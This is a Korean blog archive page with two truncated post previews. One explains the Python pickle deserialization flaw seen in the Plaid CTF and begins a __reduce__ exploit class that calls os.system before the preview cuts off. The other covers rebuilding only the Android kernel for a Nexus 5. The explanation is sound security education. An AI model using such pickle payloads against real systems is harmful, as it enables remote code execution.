2014/04 썸네일형 리스트형 Python Pickle 취약점 이번 plaid CTF 에서 나온 취약점... 사실 알려진지는 좀 오래 되었던 듯 하다.pickle 자체는 머신러닝 공부하면서 처음 접해봤는데, 생각없이 쓰기만 하다가, 이것만으로도 RCE가 된다는건 상상도 못했었다. 애초에, pickle이 안전하지 않다.다른사람이 준 pickle을 load하기만 해도, 쉘을 따일수가 있으니 절대 받지 않도록 한다. 취약점은 __reduce__ method에서 발생한다. unpickle을 할때, 어떻게 재구성할지에 대한 tuple을 반환 하는 메소드인데, 그 tuple에 함수 또한 리턴하며, 그 함수를 콜을 하게 된다. import cPickleimport os class exploit(object): def __reduce__(self): return (os.syste.. 더보기 Android Kernel만 수정해서 올리기. Android에서, 안드로이드를 통째로 컴파일 하지 말고, 만약 커널만 수정하고 싶다면? 순정롬을 다운받아서, zImage(kernel)만 바꿔 친 후, 안드로이드에 롬을 올리면 된다. 그 과정을 Ubuntu 12.04 64bit + Nexus 5에서 진행했을때는 아래와 같다. 예를 들어, 안드로이드에 tcp_probe 모듈을 추가하도록 해본다. 1. Kernel build 먼저, 커널을 다운로드 받는다.# git clone https://android.googlesource.com/kernel/msm.git# cd msm# git checkout 3.4.0-gadb2201 원하는 부분을 수정한다. 그리고, 컴파일에 필요한 툴을 다운받는다.# cd ~# git clone https://android.go.. 더보기 이전 1 다음